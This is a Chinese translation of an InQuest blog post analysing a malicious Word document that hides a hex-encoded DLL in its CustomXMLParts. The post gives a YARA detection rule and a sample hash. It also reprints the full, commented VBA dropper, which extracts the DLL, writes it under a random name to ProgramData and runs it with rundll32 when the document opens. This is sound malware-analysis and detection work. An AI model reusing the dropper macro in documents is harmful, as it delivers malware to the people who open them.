隱藏在xml檔案中的惡意軟體

夢幻的彼岸發表於2022-10-09

文章地址:https://inquest.net/blog/2022/10/03/hiding-xml

翻譯:夢幻的彼岸

Hiding in the XML

Posted on 2022-10-03 by David Ledbetter

在這篇文章中,我想介紹一個叫做 "CustomXMLParts "的專案。

試圖查詢這個術語,你可以找到關於它是什麼的各種說法。簡而言之,它是一個XML容器,用於儲存將在文件中使用的任意資料。它的目的似乎是為開發者提供一種方法,以改變Office文件的格式,而這是目前還沒有的,或增加額外的功能。

在這種情況下,他們在 "customXml -> item1.xml "中儲存了一個十六進位制編碼的可執行檔案。

隱藏在xml檔案中的惡意軟體隱藏在xml檔案中的惡意軟體

建立一個YARA規則來搜尋我的版本庫,只搜尋 "custom-xml-content",這讓我發現這是一個很好的專案,但仔細檢查規則所涉及的幾個檔案,發現它們並沒有被惡意使用。

因此,我也制定了一個新的規則來搜尋這個十六進位制字串。

rule Find_CustomXmlContent
{
        meta:
            author = "David Ledbetter @Ledtech3"
            source = "https://twitter.com/StopMalvertisin/status/1571036662968512512"
            description = "Generic rule to find extracted custom-xml-content files."
            created = "2022-09-24"
        strings:
                $s0 = "custom-xml-content" nocase //Xml Tag in file
                $s1 = "customxml" nocase   // Found in the vba not needed but left in
                $h0 = {2F 22 3E 34 64 35 61 39 30} // /">4d5a90  Hex str inside xml tag.
        condition:
                any of ($s*) and $h0
}

這條規則只對解壓後有 "PK "標題的辦公檔案起作用。

VBA是相當複雜的,所以讓我們快速看一下。

隱藏在xml檔案中的惡意軟體隱藏在xml檔案中的惡意軟體

這裡我們看到在 "Document_Open() "上它只呼叫了1個函式。"FoalhoodPretransmitGlomerulose()"

Sub Document_Open()
    FoalhoodPretransmitGlomerulose
End Sub
 
Function FoalhoodPretransmitGlomerulose()
    Dim PharmacalLimnology() As Byte           'Extracted hex string to bytes
    Dim AnchorerCrawfishesRedditive As String  'full file path
    Dim JeersCreatinephosphoric As Integer     'not used
     
    If False Then  'Not sure what makes it false.
        AnchorerCrawfishesRedditive = "c:\ProgramData\xxx.dll" 'Not totaly sure found several sanbox runs with this filename.
    Else
        PharmacalLimnology = NonfamilyMandraSonnets("mEGmZfelmibJrBrK") 'Extract Hex string from CustomXml and convert to byte
        AnchorerCrawfishesRedditive = "c:\ProgramData\" + CriminisBadigeonEthylating(8) + ".dll"  'CriminisBadigeonEthylating(8) = build random file name 8 Chrs long
        ClawerLognormality PharmacalLimnology, AnchorerCrawfishesRedditive  'Write bytes to file
    End If
     
    Shell "rundll32 " + AnchorerCrawfishesRedditive + ",#1"  'Run File
End Function
 
Function NonfamilyMandraSonnets(SoulhealLongnose)  'Function extracts hexstring
    Dim PotophobiaTintypeSeptempartite, StereotacticallyUnapostolical
     
    Set PotophobiaTintypeSeptempartite = CallByName(ActiveDocument, "CustomXMLParts", VbGet, "http://" & SoulhealLongnose & "/")
    Set StereotacticallyUnapostolical = CallByName(PotophobiaTintypeSeptempartite, "SelectSingleNode", VbMethod, "/*[local-name()='custom-xml-content']")
    NonfamilyMandraSonnets = MisjudgingExpressnessHookas(CallByName(StereotacticallyUnapostolical, "Text", VbGet))
End Function
 
Function CriminisBadigeonEthylating(ConfermentPrecooledFinks As Integer) 'Function builds a random filename the length of the value passed '8'
    Dim MenyanthaceaeGarridgeAnnelides As Integer
    Dim DiaphonesHillier As Single
    Dim GadfliesPteropodous As String
       
    GadfliesPteropodous = ""
    For MenyanthaceaeGarridgeAnnelides = 1 To ConfermentPrecooledFinks
        DiaphonesHillier = Rnd
        If DiaphonesHillier > 0.2 Then
            GadfliesPteropodous = GadfliesPteropodous + BabicheDeprecativelyHippies()
        ElseIf DiaphonesHillier > 0.6 Then
            GadfliesPteropodous = GadfliesPteropodous + NebbuckBarometryQuillwort()
        Else
            GadfliesPteropodous = GadfliesPteropodous + SternfullyDoggishnessTalmudists()
        End If
    Next MenyanthaceaeGarridgeAnnelides
         
    CriminisBadigeonEthylating = GadfliesPteropodous
End Function
 
Function ClawerLognormality(EsthiomenusOutgabblingTympanicity, HybridizerSequestrationsProjectional) 'Writes file bytes to the path/filename passed
    Dim WomanishTwelfthly As Long
    Dim BromizePassagingNoncontemplative As Integer
     
    BromizePassagingNoncontemplative = FreeFile
    Open HybridizerSequestrationsProjectional For Binary Access Write As #BromizePassagingNoncontemplative
    For WomanishTwelfthly = 0 To UBound(EsthiomenusOutgabblingTympanicity) - 1
        Put #BromizePassagingNoncontemplative, WomanishTwelfthly + 1, CByte(EsthiomenusOutgabblingTympanicity(WomanishTwelfthly))
    Next WomanishTwelfthly
    Close #BromizePassagingNoncontemplative
End Function
 
Function MisjudgingExpressnessHookas(MountebanklyNeuropsychologistNitrosoamine)  'Convert Hex string to bytes array
    ReDim CalcaneoscaphoidPolypetalAudiophiles(Len(MountebanklyNeuropsychologistNitrosoamine) / 2) As Byte
    Dim UnawaredChelydidae As Long, SifterCywyddHandclapping As Long
    Dim SporulativeHamauls
     
    SporulativeHamauls = "&H"
    For UnawaredChelydidae = 1 To Len(MountebanklyNeuropsychologistNitrosoamine) Step 2
        CalcaneoscaphoidPolypetalAudiophiles((UnawaredChelydidae - 1) / 2) = CDec(SporulativeHamauls & Mid(MountebanklyNeuropsychologistNitrosoamine, UnawaredChelydidae, 2))
    Next
    MisjudgingExpressnessHookas = CalcaneoscaphoidPolypetalAudiophiles
End Function

這個程式碼塊包含了提取、釋放和執行dll所需的所有程式碼。

正如我們在註釋的程式碼塊中所看到的,它將找到並提取十六進位制字串,將其轉換為位元組陣列,並從給定的長度建立一個隨機檔名。然後,它將把檔案寫到磁碟上,然後執行它。

除非我錯過了什麼,否則程式碼的其餘部分似乎沒有被使用。

這個樣本的檔案雜湊值是來自YARA規則的。

SHA256: 7e06cdff2b667d8748bc8822ef11173cd7a66c5a52d2d2fbaf78c92a94c5f69c

Kimberly @StopMalvertisin的Twitter連結在這裡。該執行緒顯示,該檔案最初是作為 "rtf "傳送的,但事實上,它是一個docx檔案。(永遠不要相信檔案的副檔名)

2022年9月27日,@bigmacjpg釋出了一條推文,其中有43個doc檔案的雜湊值和dll的雜湊值,在這裡

隱藏在xml檔案中的惡意軟體隱藏在xml檔案中的惡意軟體

這裡面的誘餌似乎在我檢視的檔案中被重複使用。對圖片檔案的檔名 "VIYb.pg"(被檢測為域名)進行搜尋,我們目前得到132次點選。昨天是125次。隱藏在xml檔案中的惡意軟體

隱藏在xml檔案中的惡意軟體

對所有43個檔案進行列表比較後發現,InQuest實驗室的這個列表包含了所有43個雜湊值。

此外,在同一Twitter主題中,ExecuteMalware @executemalware在GitHub上釋出了一個IOC的連結。

這些檔案是透過電子郵件傳送的,通常最後會被植入惡意軟體。

雖然這些檔案一旦被解壓就很容易被發現,但他們似乎仍在對vba進行修改,如果他們不在某個時候開始對Xml中的十六進位制字串進行編碼,我不會感到懷疑。即使混淆了Xml標記中包含的專案的絕對大小,也是一種洩露和檢測的可能性。


相關文章